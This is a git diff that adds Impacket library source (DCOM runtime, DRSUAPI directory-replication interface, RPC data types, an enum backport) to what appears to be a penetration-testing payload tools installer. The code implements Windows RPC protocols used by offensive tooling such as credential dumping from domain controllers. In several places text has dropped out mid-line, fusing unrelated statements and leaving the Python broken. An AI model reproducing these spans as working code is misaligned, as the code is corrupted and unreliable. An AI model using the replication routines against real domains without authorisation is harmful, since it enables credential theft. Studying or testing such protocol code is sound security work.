+ DCOMConnection.PORTMAPS[self.__target] = self.__portmap + + def CoCreateInstanceEx(self, clsid, iid): + scm = IRemoteSCMActivator(self.__portmap) + iInterface = scm.RemoteCreateInstance(clsid, iid) + self.initTimer() + return iInterface + + def get_dce_rpc(self): + return DCOMConnection.PORTMAPS[self.__target] + + def disconnect(self): + if DCOMConnection.PINGTIMER is not None: + del(DCOMConnection.PORTMAPS[self.__target]) + del(DCOMConnection.OID_SET[self.__target]) + if len(DCOMConnection.PORTMAPS) == 0: + # This means there are no more clients using this object, kill it + DCOMConnection.PINGTIMER.cancel() + DCOMConnection.PINGTIMER.join() + DCOMConnection.PINGTIMER = None + if INTERFACE.CONNECTIONS.has_key(self.__target): + del(INTERFACE.CONNECTIONS[self.__target][currentThread().getName()]) + self.__portmap.disconnect() + #print INTERFACE.CONNECTIONS + +class CLASS_INSTANCE: + def __init__(self, ORPCthis, stringBinding): + self.__stringBindings = stringBinding + self.__ORPCthis = ORPCthis + self.__authType = RPC_C_AUTHN_WINNT + self.__authLevel = RPC_C_AUTHN_LEVEL_PKT_PRIVACY + def get_ORPCthis(self): + return self.__ORPCthis + def get_string_bindings(self): + return self.__stringBindings + def get_auth_level(self): + if RPC_C_AUTHN_LEVEL_NONE < self.__authLevel < RPC_C_AUTHN_LEVEL_PKT_PRIVACY: + if self.__authType == RPC_C_AUTHN_WINNT: + return RPC_C_AUTHN_LEVEL_PKT_INTEGRITY + else: + return RPC_C_AUTHN_LEVEL_PKT_PRIVACY + return self.__authLevel + def set_auth_level(self, level): + self.__authLevel = level + def get_auth_type(self): + return self.__authType + def set_auth_type(self, authType): + self.__authType = authType + + +class INTERFACE: + # class variable holding the transport connections, organized by target IP + CONNECTIONS = {} + + def __init__(self, cinstance=None, objRef=None, ipidRemUnknown=None, iPid=None, oxid=None, oid=None, target=None, + interfaceInstance=None): + if interfaceInstance is not None: + self.__target = interfaceInstance.get_target() + self.__iPid = interfaceInstance.get_iPid() + self.__oid = interfaceInstance.get_oid() + self.__oxid = interfaceInstance.get_oxid() + self.__cinstance = interfaceInstance.get_cinstance() + self.__objRef = interfaceInstance.get_objRef() + self.__ipidRemUnknown = interfaceInstance.get_ipidRemUnknown() + else: + if target is None: + raise + self.__target = target + self.__iPid = iPid + self.__oid = oid + self.__oxid = oxid + self.__cinstance = cinstance + self.__objRef = objRef + self.__ipidRemUnknown = ipidRemUnknown + # We gotta check if we have a container inside our connection list, if not, create + if INTERFACE.CONNECTIONS.has_key(self.__target) is not True: + INTERFACE.CONNECTIONS[self.__target] = {} + INTERFACE.CONNECTIONS[self.__target][currentThread().getName()] = {} + + if objRef is not None: + self.process_interface(objRef) + + def process_interface(self, data): + objRefType = OBJREF(data)['flags'] + objRef = None + if objRefType == FLAGS_OBJREF_CUSTOM: + objRef = OBJREF_CUSTOM(data) + elif objRefType == FLAGS_OBJREF_HANDLER: + objRef = OBJREF_HANDLER(data) + elif objRefType == FLAGS_OBJREF_STANDARD: + objRef = OBJREF_STANDARD(data) + elif objRefType == FLAGS_OBJREF_EXTENDED: + objRef = OBJREF_EXTENDED(data) + else: + LOG.error("Unknown OBJREF Type! 0x%x" % objRefType) + + if objRefType != FLAGS_OBJREF_CUSTOM: + if objRef['std']['flags'] & SORF_NOPING == 0: + DCOMConnection.addOid(self.__target, objRef['std']['oid']) + self.__iPid = objRef['std']['ipid'] + self.__oid = objRef['std']['oid'] + self.__oxid = objRef['std']['oxid'] + if self.__oxid is None: + objRef.dump() + raise + + def get_oxid(self): + return self.__oxid + + def set_oxid(self, oxid): + self.__oxid = oxid + + def get_oid(self): + return self.__oid + + def set_oid(self, oid): + self.__oid = oid + + def get_target(self): + return self.__target + + def get_iPid(self): + return self.__iPid + + def set_iPid(self, iPid): + self.__iPid = iPid + + def get_objRef(self): + return self.__objRef + + def set_objRef(self, objRef): + self.__objRef = objRef + + def get_ipidRemUnknown(self): + return self.__ipidRemUnknown + + def get_dce_rpc(self): + return INTERFACE.CONNECTIONS[self.__target][currentThread().getName()][self.__oxid]['dce'] + + def get_cinstance(self): + return self.__cinstance + + def set_cinstance(self, cinstance): + self.__cinstance = cinstance + + def is_fdqn(self): + # I will assume the following + # If I can't socket.inet_aton() then it's not an IPv4 address + # Same for ipv6, but since socket.inet_pton is not available in Windows, I'll look for ':'. There can't be + # an FQDN with ':' + # Is it isn't both, then it is a FDQN + try: + socket.inet_aton(self.__target) + except: + # Not an IPv4 + try: + self.__target.index(':') + except: + # Not an IPv6, it's a FDQN + return True + return False + + + def connect(self, iid = None): + if INTERFACE.CONNECTIONS.has_key(self.__target) is True: + if INTERFACE.CONNECTIONS[self.__target].has_key(currentThread().getName()) and \ + INTERFACE.CONNECTIONS[self.__target][currentThread().getName()].has_key(self.__oxid) is True: + dce = INTERFACE.CONNECTIONS[self.__target][currentThread().getName()][self.__oxid]['dce'] + currentBinding = INTERFACE.CONNECTIONS[self.__target][currentThread().getName()][self.__oxid]['currentBinding'] + if currentBinding == iid: + # We don't need to alter_ctx + pass + else: + newDce = dce.alter_ctx(iid) + INTERFACE.CONNECTIONS[self.__target][currentThread().getName()][self.__oxid]['dce'] = newDce + INTERFACE.CONNECTIONS[self.__target][currentThread().getName()][self.__oxid]['currentBinding'] = iid + else: + stringBindings = self.get_cinstance().get_string_bindings() + # No OXID present, we should create a new connection and store it + stringBinding = None + isTargetFDQN = self.is_fdqn() + LOG.debug('Target system is %s and isFDQN is %s' % (self.get_target(), isTargetFDQN)) + for strBinding in stringBindings: + # Here, depending on the get_target() value several things can happen + # 1) it's an IPv4 address + # 2) it's an IPv6 address + # 3) it's a NetBios Name + # we should handle all this cases accordingly + # Does this match exactly what get_target() returns? + LOG.debug('StringBinding: %s' % strBinding['aNetworkAddr']) + if strBinding['wTowerId'] == 7: + # If there's port information, let's strip it for now. + if strBinding['aNetworkAddr'].find('[') >= 0: + binding, _, bindingPort = strBinding['aNetworkAddr'].partition('[') + bindingPort = '[' + bindingPort + else: + binding = strBinding['aNetworkAddr'] + bindingPort = '' + + if binding.upper().find(self.get_target().upper()) >= 0: + stringBinding = 'ncacn_ip_tcp:' + strBinding['aNetworkAddr'][:-1] + break + # If get_target() is a FQDN, does it match the hostname? + elif isTargetFDQN and binding.upper().find(self.get_target().upper().partition('.')[0]) >= 0: + # Here we replace the aNetworkAddr with self.get_target() + # This is to help resolving the target system name. + # self.get_target() has been resolved already otherwise we wouldn't be here whereas + # aNetworkAddr is usually the NetBIOS name and unless you have your DNS resolver + # with the right suffixes it will probably not resolve right. + stringBinding = 'ncacn_ip_tcp:%s%s' % (self.get_target(), bindingPort) + break + + LOG.debug('StringBinding chosen: %s' % stringBinding) + if stringBinding is None: + # Something wen't wrong, let's just report it + raise Exception('Can\'t find a valid stringBinding to connect') + + dcomInterface = transport.DCERPCTransportFactory(stringBinding) + if hasattr(dcomInterface, 'set_credentials'): + # This method exists only for selected protocol sequences. + dcomInterface.set_credentials(*DCOMConnection.PORTMAPS[self.__target].get_credentials()) + dcomInterface.set_kerberos(DCOMConnection.PORTMAPS[self.__target].get_rpc_transport().get_kerberos(), + DCOMConnection.PORTMAPS[self.__target].get_rpc_transport().get_kdcHost()) + dcomInterface.set_connect_timeout(300) + dce = dcomInterface.get_dce_rpc() + + if iid is None: + raise + else: + dce.set_auth_level(self.__cinstance.get_auth_level()) + dce.set_auth_type(self.__cinstance.get_auth_type()) + dce.connect() + + if iid is None: + raise + else: + dce.bind(iid) + + if self.__oxid is None: + #import traceback + #print traceback.print_stack() + LOG.critical("OXID NONE, something wrong!!!") + raise + + INTERFACE.CONNECTIONS[self.__target][currentThread().getName()] = {} + INTERFACE.CONNECTIONS[self.__target][currentThread().getName()][self.__oxid] = {} + INTERFACE.CONNECTIONS[self.__target][currentThread().getName()][self.__oxid]['dce'] = dce + INTERFACE.CONNECTIONS[self.__target][currentThread().getName()][self.__oxid]['currentBinding'] = iid + else: + # No connection created + raise + + def request(self, req, iid = None, uuid = None): + req['ORPCthis'] = self.get_cinstance().get_ORPCthis() + req['ORPCthis']['flags'] = 0 + self.connect(iid) + dce = self.get_dce_rpc() + try: + resp = dce.request(req, uuid) + except Exception, e: + if str(e).find('RPC_E_DISCONNECTED') >= 0: + msg = str(e) + '\n' + msg += "DCOM keep-alive pinging it might not be working as expected. You can't be idle for more than 14 minutes!\n" + msg += "You should exit the app and start again\n" + raise DCERPCException(msg) + else: + raise + return resp + + def disconnect(self): + return INTERFACE.CONNECTIONS[self.__target][currentThread().getName()][self.__oxid]['dce'].disconnect() + + +# 3.1.1.5.6.1 IRemUnknown Methods +class IRemUnknown(INTERFACE): + def __init__(self, interface): + self._iid = IID_IRemUnknown + #INTERFACE.__init__(self, interface.get_cinstance(), interface.get_objRef(), interface.get_ipidRemUnknown(), + # interface.get_iPid(), target=interface.get_target()) + INTERFACE.__init__(self, interfaceInstance=interface) + self.set_oxid(interface.get_oxid()) + + def RemQueryInterface(self, cRefs, iids): + # For now, it only supports a single IID + request = RemQueryInterface() + request['ORPCthis'] = self.get_cinstance().get_ORPCthis() + request['ORPCthis']['flags'] = 0 + request['ripid'] = self.get_iPid() + request['cRefs'] = cRefs + request['cIids'] = len(iids) + for iid in iids: + _iid = IID() + _iid['Data'] = iid + request['iids'].append(_iid) + resp = self.request(request, IID_IRemUnknown, self.get_ipidRemUnknown()) + #resp.dump() + + return IRemUnknown2( + INTERFACE(self.get_cinstance(), None, self.get_ipidRemUnknown(), resp['ppQIResults']['std']['ipid'], + oxid=resp['ppQIResults']['std']['oxid'], oid=resp['ppQIResults']['std']['oxid'], + target=self.get_target())) + + def RemAddRef(self): + request = RemAddRef() + request['ORPCthis'] = self.get_cinstance().get_ORPCthis() + request['ORPCthis']['flags'] = 0 + request['cInterfaceRefs'] = 1 + element = REMINTERFACEREF() + element['ipid'] = self.get_iPid() + element['cPublicRefs'] = 1 + request['InterfaceRefs'].append(element) + resp = self.request(request, IID_IRemUnknown, self.get_ipidRemUnknown()) + return resp + + def RemRelease(self): + request = RemRelease() + request['ORPCthis'] = self.get_cinstance().get_ORPCthis() + request['ORPCthis']['flags'] = 0 + request['cInterfaceRefs'] = 1 + element = REMINTERFACEREF() + element['ipid'] = self.get_iPid() + element['cPublicRefs'] = 1 + request['InterfaceRefs'].append(element) + resp = self.request(request, IID_IRemUnknown, self.get_ipidRemUnknown()) + DCOMConnection.delOid(self.get_target(), self.get_oid()) + return resp + +# 3.1.1.5.7 IRemUnknown2 Interface +class IRemUnknown2(IRemUnknown): + def __init__(self, interface): + IRemUnknown.__init__(self, interface) + self._iid = IID_IRemUnknown2 + +# 3.1.2.5.1 IObjectExporter Methods +class IObjectExporter: + def __init__(self, dce): + self.__portmap = dce + + # 3.1.2.5.1.1 IObjectExporter::ResolveOxid (Opnum 0) + def ResolveOxid(self, pOxid, arRequestedProtseqs): + self.__portmap.connect() + self.__portmap.bind(IID_IObjectExporter) + request = ResolveOxid() + request['pOxid'] = pOxid + request['cRequestedProtseqs'] = len(arRequestedProtseqs) + for protSeq in arRequestedProtseqs: + request['arRequestedProtseqs'].append(protSeq) + resp = self.__portmap.request(request) + Oxids = ''.join(pack(' 0: + for oid in addToSet: + oidn = OID() + oidn['Data'] = oid + request['AddToSet'].append(oidn) + else: + request['AddToSet'] = NULL + + if len(delFromSet) > 0: + for oid in delFromSet: + oidn = OID() + oidn['Data'] = oid + request['DelFromSet'].append(oidn) + else: + request['DelFromSet'] = NULL + resp = self.__portmap.request(request) + return resp + + # 3.1.2.5.1.4 IObjectExporter::ServerAlive (Opnum 3) + def ServerAlive(self): + self.__portmap.connect() + self.__portmap.bind(IID_IObjectExporter) + request = ServerAlive() + resp = self.__portmap.request(request) + return resp + + # 3.1.2.5.1.5 IObjectExporter::ResolveOxid2 (Opnum 4) + def ResolveOxid2(self,pOxid, arRequestedProtseqs): + self.__portmap.connect() + self.__portmap.bind(IID_IObjectExporter) + request = ResolveOxid2() + request['pOxid'] = pOxid + request['cRequestedProtseqs'] = len(arRequestedProtseqs) + for protSeq in arRequestedProtseqs: + request['arRequestedProtseqs'].append(protSeq) + resp = self.__portmap.request(request) + Oxids = ''.join(pack('. +# There are test cases for them too. +# +import hashlib +from struct import pack + +from impacket import LOG +from impacket.dcerpc.v5.ndr import NDRCALL, NDRSTRUCT, NDRPOINTER, NDRUniConformantArray, NDRUNION, NDR, NDRENUM +from impacket.dcerpc.v5.dtypes import PUUID, DWORD, NULL, GUID, LPWSTR, BOOL, ULONG, UUID, LONGLONG, ULARGE_INTEGER, LARGE_INTEGER +from impacket import hresult_errors, system_errors +from impacket.structure import Structure +from impacket.uuid import uuidtup_to_bin, string_to_bin +from impacket.dcerpc.v5.enum import Enum +from impacket.dcerpc.v5.rpcrt import DCERPCException +from impacket.krb5 import crypto +from pyasn1.type import univ +from pyasn1.codec.ber import decoder + +try: + from Crypto.Cipher import ARC4, DES +except Exception: + LOG.critical("Warning: You don't have any crypto installed. You need PyCrypto") + LOG.critical("See http://www.pycrypto.org/") + +MSRPC_UUID_DRSUAPI = uuidtup_to_bin(('E3514235-4B06-11D1-AB04-00C04FC2DCD2','4.0')) + +class DCERPCSessionError(DCERPCException): + def __init__(self, error_string=None, error_code=None, packet=None): + DCERPCException.__init__(self, error_string, error_code, packet) + + def __str__( self ): + key = self.error_code + if hresult_errors.ERROR_MESSAGES.has_key(key): + error_msg_short = hresult_errors.ERROR_MESSAGES[key][0] + error_msg_verbose = hresult_errors.ERROR_MESSAGES[key][1] + return 'DRSR SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose) + elif system_errors.ERROR_MESSAGES.has_key(key & 0xffff): + error_msg_short = system_errors.ERROR_MESSAGES[key & 0xffff][0] + error_msg_verbose = system_errors.ERROR_MESSAGES[key & 0xffff][1] + return 'DRSR SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose) + else: + return 'DRSR SessionError: unknown error code: 0x%x' % self.error_code + +################################################################################ +# CONSTANTS +################################################################################ +# 4.1.10.2.17 EXOP_ERR Codes +class EXOP_ERR(NDRENUM): + align = 4 + align64 = 4 + structure = ( + ('Data', '> 0x01) ) + OutputKey.append( chr(((ord(InputKey[0])&0x01)<<6) | (ord(InputKey[1])>>2)) ) + OutputKey.append( chr(((ord(InputKey[1])&0x03)<<5) | (ord(InputKey[2])>>3)) ) + OutputKey.append( chr(((ord(InputKey[2])&0x07)<<4) | (ord(InputKey[3])>>4)) ) + OutputKey.append( chr(((ord(InputKey[3])&0x0F)<<3) | (ord(InputKey[4])>>5)) ) + OutputKey.append( chr(((ord(InputKey[4])&0x1F)<<2) | (ord(InputKey[5])>>6)) ) + OutputKey.append( chr(((ord(InputKey[5])&0x3F)<<1) | (ord(InputKey[6])>>7)) ) + OutputKey.append( chr(ord(InputKey[6]) & 0x7F) ) + + for i in range(8): + OutputKey[i] = chr((ord(OutputKey[i]) << 1) & 0xfe) + + return "".join(OutputKey) + +def deriveKey(baseKey): + # 2.2.11.1.3 Deriving Key1 and Key2 from a Little-Endian, Unsigned Integer Key + # Let I be the little-endian, unsigned integer. + # Let I[X] be the Xth byte of I, where I is interpreted as a zero-base-index array of bytes. + # Note that because I is in little-endian byte order, I[0] is the least significant byte. + # Key1 is a concatenation of the following values: I[0], I[1], I[2], I[3], I[0], I[1], I[2]. + # Key2 is a concatenation of the following values: I[3], I[0], I[1], I[2], I[3], I[0], I[1] + key = pack('= 16384: + # mark it so that it is known to not be the whole lastValue + lowerWord += 32768 + + upperWord = pos + + attrTyp = ATTRTYP() + attrTyp['Data'] = (upperWord << 16) + lowerWord + return attrTyp + +def OidFromAttid(prefixTable, attr): + # separate the ATTRTYP into two parts + upperWord = attr / 65536 + lowerWord = attr % 65536 + + # search in the prefix table to find the upperWord, if found, + # construct the binary OID by appending lowerWord to the end of + # found prefix. + + binaryOID = None + for j, item in enumerate(prefixTable): + if item['ndx'] == upperWord: + binaryOID = item['prefix']['elements'][:item['prefix']['length']] + if lowerWord < 128: + binaryOID.append(chr(lowerWord)) + else: + if lowerWord >= 32768: + lowerWord -= 32768 + binaryOID.append(chr(((lowerWord/128) % 128)+128)) + binaryOID.append(chr(lowerWord%128)) + break + + if binaryOID is None: + return None + + return str(decoder.decode('\x06' + chr(len(binaryOID)) + ''.join(binaryOID), asn1Spec = univ.ObjectIdentifier())[0]) + +if __name__ == '__main__': + prefixTable = [] + oid0 = '1.2.840.113556.1.4.94' + oid1 = '2.5.6.2' + oid2 = '1.2.840.113556.1.2.1' + oid3 = '1.2.840.113556.1.3.223' + oid4 = '1.2.840.113556.1.5.7000.53' + + o0 = MakeAttid(prefixTable, oid0) + print hex(o0) + o1 = MakeAttid(prefixTable, oid1) + print hex(o1) + o2 = MakeAttid(prefixTable, oid2) + print hex(o2) + o3 = MakeAttid(prefixTable, oid3) + print hex(o3) + o4 = MakeAttid(prefixTable, oid4) + print hex(o4) + jj = OidFromAttid(prefixTable, o0) + print jj + jj = OidFromAttid(prefixTable, o1) + print jj + jj = OidFromAttid(prefixTable, o2) + print jj + jj = OidFromAttid(prefixTable, o3) + print jj + jj = OidFromAttid(prefixTable, o4) + print jj diff --git a/payloads/library/tools_installer/tools_to_install/impacket/impacket/dcerpc/v5/dtypes.py b/payloads/library/tools_installer/tools_to_install/impacket/impacket/dcerpc/v5/dtypes.py new file mode 100644 index 0000000..3a1f37c --- /dev/null +++ b/payloads/library/tools_installer/tools_to_install/impacket/impacket/dcerpc/v5/dtypes.py @@ -0,0 +1,519 @@ +# Copyright (c) 2003-2016 CORE Security Technologies +# +# This software is provided under under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +# Author: Alberto Solino (@agsolino) +# +# Description: +# [MS-DTYP] Interface mini implementation +# +from struct import pack + +from impacket.dcerpc.v5.ndr import NDRULONG, NDRUHYPER, NDRSHORT, NDRLONG, NDRPOINTER, NDRUniConformantArray, \ + NDRUniFixedArray, NDR, NDRHYPER, NDRSMALL, NDRPOINTERNULL, NDRSTRUCT, \ + NDRUSMALL, NDRBOOLEAN, NDRUSHORT, NDRFLOAT, NDRDOUBLEFLOAT, NULL + +DWORD = NDRULONG +BOOL = NDRULONG +UCHAR = NDRUSMALL +SHORT = NDRSHORT +NULL = NULL + +class LPDWORD(NDRPOINTER): + referent = ( + ('Data', DWORD), + ) + +class PSHORT(NDRPOINTER): + referent = ( + ('Data', SHORT), + ) + +class PBOOL(NDRPOINTER): + referent = ( + ('Data', BOOL), + ) + +class LPBYTE(NDRPOINTER): + referent = ( + ('Data', NDRUniConformantArray), + ) +PBYTE = LPBYTE + +# 2.2.4 BOOLEAN +BOOLEAN = NDRBOOLEAN + +# 2.2.6 BYTE +BYTE = NDRUSMALL + +# 2.2.7 CHAR +CHAR = NDRSMALL +class PCHAR(NDRPOINTER): + referent = ( + ('Data', CHAR), + ) + +class WIDESTR(NDRUniFixedArray): + def getDataLen(self, data): + return data.find('\x00\x00\x00')+3 + + def __setitem__(self, key, value): + if key == 'Data': + try: + self.fields[key] = value.encode('utf-16le') + except UnicodeDecodeError: + import sys + self.fields[key] = value.decode(sys.getfilesystemencoding()).encode('utf-16le') + + self.data = None # force recompute + else: + return NDR.__setitem__(self, key, value) + + def __getitem__(self, key): + if key == 'Data': + return self.fields[key].decode('utf-16le') + else: + return NDR.__getitem__(self,key) + +class STR(NDRSTRUCT): + commonHdr = ( + ('MaximumCount', ' 4) + + +def _is_sunder(name): + """Returns True if a _sunder_ name, False otherwise.""" + return (name[0] == name[-1] == '_' and + name[1:2] != '_' and + name[-2:-1] != '_' and + len(name) > 2) + + +def _make_class_unpicklable(cls): + """Make the given class un-picklable.""" + def _break_on_call_reduce(self): + raise TypeError('%r cannot be pickled' % self) + cls.__reduce__ = _break_on_call_reduce + cls.__module__ = '' + + +class _EnumDict(dict): + """Track enum member order and ensure member names are not reused. + + EnumMeta will use the names found in self._member_names as the + enumeration member names. + + """ + def __init__(self): + super(_EnumDict, self).__init__() + self._member_names = [] + + def __setitem__(self, key, value): + """Changes anything not dundered or not a descriptor. + + If a descriptor is added with the same name as an enum member, the name + is removed from _member_names (this may leave a hole in the numerical + sequence of values). + + If an enum member name is used twice, an error is raised; duplicate + values are not checked for. + + Single underscore (sunder) names are reserved. + + Note: in 3.x __order__ is simply discarded as a not necessary piece + leftover from 2.x + + """ + if pyver >= 3.0 and key == '__order__': + return + if _is_sunder(key): + raise ValueError('_names_ are reserved for future Enum use') + elif _is_dunder(key): + pass + elif key in self._member_names: + # descriptor overwriting an enum? + raise TypeError('Attempted to reuse key: %r' % key) + elif not _is_descriptor(value): + if key in self: + # enum overwriting a descriptor? + raise TypeError('Key already defined as: %r' % self[key]) + self._member_names.append(key) + super(_EnumDict, self).__setitem__(key, value) + + +# Dummy value for Enum as EnumMeta explicity checks for it, but of course until +# EnumMeta finishes running the first time the Enum class doesn't exist. This +# is also why there are checks in EnumMeta like `if Enum is not None` +Enum = None + + +class EnumMeta(type): + """Metaclass for Enum""" + @classmethod + def __prepare__(metacls, cls, bases): + return _EnumDict() + + def __new__(metacls, cls, bases, classdict): + # an Enum class is final once enumeration items have been defined; it + # cannot be mixed with other types (int, float, etc.) if it has an + # inherited __new__ unless a new __new__ is defined (or the resulting + # class will fail). + if type(classdict) is dict: + original_dict = classdict + classdict = _EnumDict() + for k, v in original_dict.items(): + classdict[k] = v + + member_type, first_enum = metacls._get_mixins_(bases) + #if member_type is object: + # use_args = False + #else: + # use_args = True + __new__, save_new, use_args = metacls._find_new_(classdict, member_type, + first_enum) + # save enum items into separate mapping so they don't get baked into + # the new class + members = dict((k, classdict[k]) for k in classdict._member_names) + for name in classdict._member_names: + del classdict[name] + + # py2 support for definition order + __order__ = classdict.get('__order__') + if __order__ is None: + __order__ = classdict._member_names + if pyver < 3.0: + order_specified = False + else: + order_specified = True + else: + del classdict['__order__'] + order_specified = True + if pyver < 3.0: + __order__ = __order__.replace(',', ' ').split() + aliases = [name for name in members if name not in __order__] + __order__ += aliases + + # check for illegal enum names (any others?) + invalid_names = set(members) & set(['mro']) + if invalid_names: + raise ValueError('Invalid enum member name(s): %s' % ( + ', '.join(invalid_names), )) + + # create our new Enum type + enum_class = super(EnumMeta, metacls).__new__(metacls, cls, bases, classdict) + enum_class._member_names_ = [] # names in random order + enum_class._member_map_ = {} # name->value map + enum_class._member_type_ = member_type + + # Reverse value->name map for hashable values. + enum_class._value2member_map_ = {} + + # check for a __getnewargs__, and if not present sabotage + # pickling, since it won't work anyway + if (member_type is not object and + member_type.__dict__.get('__getnewargs__') is None + ): + _make_class_unpicklable(enum_class) + + # instantiate them, checking for duplicates as we go + # we instantiate first instead of checking for duplicates first in case + # a custom __new__ is doing something funky with the values -- such as + # auto-numbering ;) + if __new__ is None: + __new__ = enum_class.__new__ + for member_name in __order__: + value = members[member_name] + if not isinstance(value, tuple): + args = (value, ) + else: + args = value + if member_type is tuple: # special case for tuple enums + args = (args, ) # wrap it one more time + if not use_args or not args: + enum_member = __new__(enum_class) + if not hasattr(enum_member, '_value_'): + enum_member._value_ = value + else: + enum_member = __new__(enum_class, *args) + if not hasattr(enum_member, '_value_'): + enum_member._value_ = member_type(*args) + value = enum_member._value_ + enum_member._name_ = member_name + enum_member.__objclass__ = enum_class + enum_member.__init__(*args) + # If another member with the same value was already defined, the + # new member becomes an alias to the existing one. + for name, canonical_member in enum_class._member_map_.items(): + if canonical_member.value == enum_member._value_: + enum_member = canonical_member + break + else: + # Aliases don't appear in member names (only in __members__). + enum_class._member_names_.append(member_name) + enum_class._member_map_[member_name] = enum_member + try: + # This may fail if value is not hashable. We can't add the value + # to the map, and by-value lookups for this value will be + # linear. + enum_class._value2member_map_[value] = enum_member + except TypeError: + pass + + # in Python2.x we cannot know definition order, so go with value order + # unless __order__ was specified in the class definition + if not order_specified: + enum_class._member_names_ = [ + e[0] for e in sorted( + [(name, enum_class._member_map_[name]) for name in enum_class._member_names_], + key=lambda t: t[1]._value_ + )] + + # double check that repr and friends are not the mixin's or various + # things break (such as pickle) + if Enum is not None: + setattr(enum_class, '__getnewargs__', Enum.__getnewargs__) + for name in ('__repr__', '__str__', '__format__'): + class_method = getattr(enum_class, name) + obj_method = getattr(member_type, name, None) + enum_method = getattr(first_enum, name, None) + if obj_method is not None and obj_method is class_method: + setattr(enum_class, name, enum_method) + + # method resolution and int's are not playing nice + # Python's less than 2.6 use __cmp__ + + if pyver < 2.6: + + if issubclass(enum_class, int): + setattr(enum_class, '__cmp__', getattr(int, '__cmp__')) + + elif pyver < 3.0: + + if issubclass(enum_class, int): + for method in ( + '__le__', + '__lt__', + '__gt__', + '__ge__', + '__eq__', + '__ne__', + '__hash__', + ): + setattr(enum_class, method, getattr(int, method)) + + # replace any other __new__ with our own (as long as Enum is not None, + # anyway) -- again, this is to support pickle + if Enum is not None: + # if the user defined their own __new__, save it before it gets + # clobbered in case they subclass later + if save_new: + setattr(enum_class, '__member_new__', enum_class.__dict__['__new__']) + setattr(enum_class, '__new__', Enum.__dict__['__new__']) + return enum_class + + def __call__(cls, value, names=None, module=None, type=None): + """Either returns an existing member, or creates a new enum class. + + This method is used both when an enum class is given a value to match + to an enumeration member (i.e. Color(3)) and for the functional API + (i.e. Color = Enum('Color', names='red green blue')). + + When used for the functional API: `module`, if set, will be stored in + the new class' __module__ attribute; `type`, if set, will be mixed in + as the first base class. + + Note: if `module` is not set this routine will attempt to discover the + calling module by walking the frame stack; if this is unsuccessful + the resulting class will not be pickleable. + + """ + if names is None: # simple value lookup + return cls.__new__(cls, value) + # otherwise, functional API: we're creating a new Enum type + return cls._create_(value, names, module=module, type=type) + + def __contains__(cls, member): + return isinstance(member, cls) and member.name in cls._member_map_ + + def __delattr__(cls, attr): + # nicer error message when someone tries to delete an attribute + # (see issue19025). + if attr in cls._member_map_: + raise AttributeError( + "%s: cannot delete Enum member." % cls.__name__) + super(EnumMeta, cls).__delattr__(attr) + + def __dir__(self): + return (['__class__', '__doc__', '__members__', '__module__'] + + self._member_names_) + + @property + def __members__(cls): + """Returns a mapping of member name->value. + + This mapping lists all enum members, including aliases. Note that this + is a copy of the internal mapping. + + """ + return cls._member_map_.copy() + + def __getattr__(cls, name): + """Return the enum member matching `name` + + We use __getattr__ instead of descriptors or inserting into the enum + class' __dict__ in order to support `name` and `value` being both + properties for enum members (which live in the class' __dict__) and + enum members themselves. + + """ + if _is_dunder(name): + raise AttributeError(name) + try: + return cls._member_map_[name] + except KeyError: + raise AttributeError(name) + + def __getitem__(cls, name): + return cls._member_map_[name] + + def __iter__(cls): + return (cls._member_map_[name] for name in cls._member_names_) + + def __reversed__(cls): + return (cls._member_map_[name] for name in reversed(cls._member_names_)) + + def __len__(cls): + return len(cls._member_names_) + + def __repr__(cls): + return "" % cls.__name__ + + def __setattr__(cls, name, value): + """Block attempts to reassign Enum members. + + A simple assignment to the class namespace only changes one of the + several possible ways to get an Enum member from the Enum class, + resulting in an inconsistent Enumeration. + + """ + member_map = cls.__dict__.get('_member_map_', {}) + if name in member_map: + raise AttributeError('Cannot reassign members.') + super(EnumMeta, cls).__setattr__(name, value) + + def _create_(cls, class_name, names=None, module=None, type=None): + """Convenience method to create a new Enum class. + + `names` can be: + + * A string containing member names, separated either with spaces or + commas. Values are auto-numbered from 1. + * An iterable of member names. Values are auto-numbered from 1. + * An iterable of (member name, value) pairs. + * A mapping of member name -> value. + + """ + metacls = cls.__class__ + if type is None: + bases = (cls, ) + else: + bases = (type, cls) + classdict = metacls.__prepare__(class_name, bases) + __order__ = [] + + # special processing needed for names? + if isinstance(names, str): + names = names.replace(',', ' ').split() + if isinstance(names, (tuple, list)) and isinstance(names[0], str): + names = [(e, i+1) for (i, e) in enumerate(names)] + + # Here, names is either an iterable of (name, value) or a mapping. + for item in names: + if isinstance(item, str): + member_name, member_value = item, names[item] + else: + member_name, member_value = item + classdict[member_name] = member_value + __order__.append(member_name) + # only set __order__ in classdict if name/value was not from a mapping + if not isinstance(item, str): + classdict['__order__'] = ' '.join(__order__) + enum_class = metacls.__new__(metacls, class_name, bases, classdict) + + # TODO: replace the frame hack if a blessed way to know the calling + # module is ever developed + if module is None: + try: + module = _sys._getframe(2).f_globals['__name__'] + except (AttributeError, ValueError): + pass + if module is None: + _make_class_unpicklable(enum_class) + else: + enum_class.__module__ = module + + return enum_class + + @staticmethod + def _get_mixins_(bases): + """Returns the type for creating enum members, and the first inherited + enum class. + + bases: the tuple of bases that was given to __new__ + + """ + if not bases or Enum is None: + return object, Enum + + + # double check that we are not subclassing a class with existing + # enumeration members; while we're at it, see if any other data + # type has been mixed in so we can use the correct __new__ + member_type = first_enum = None + for base in bases: + if (base is not Enum and + issubclass(base, Enum) and + base._member_names_): + raise TypeError("Cannot extend enumerations") + # base is now the last base in bases + if not issubclass(base, Enum): + raise TypeError("new enumerations must be created as " + "`ClassName([mixin_type,] enum_type)`") + + # get correct mix-in type (either mix-in type of Enum subclass, or + # first base if last base is Enum) + if not issubclass(bases[0], Enum): + member_type = bases[0] # first data type + first_enum = bases[-1] # enum type + else: + for base in bases[0].__mro__: + # most common: (IntEnum, int, Enum, object) + # possible: (, , + # , , + # ) + if issubclass(base, Enum): + if first_enum is None: + first_enum = base + else: + if member_type is None: + member_type = base + + return member_type, first_enum + + if pyver < 3.0: + @staticmethod + def _find_new_(classdict, member_type, first_enum): + """Returns the __new__ to be used for creating the enum members. + + classdict: the class dictionary given to __new__ + member_type: the data type whose __new__ will be used by default + first_enum: enumeration to check for an overriding __new__ + + """ + # now find the correct __new__, checking to see of one was defined + # by the user; also check earlier enum classes in case a __new__ was + # saved as __member_new__ + __new__ = classdict.get('__new__', None) + if __new__: + return None, True, True # __new__, save_new, use_args + + N__new__ = getattr(None, '__new__') + 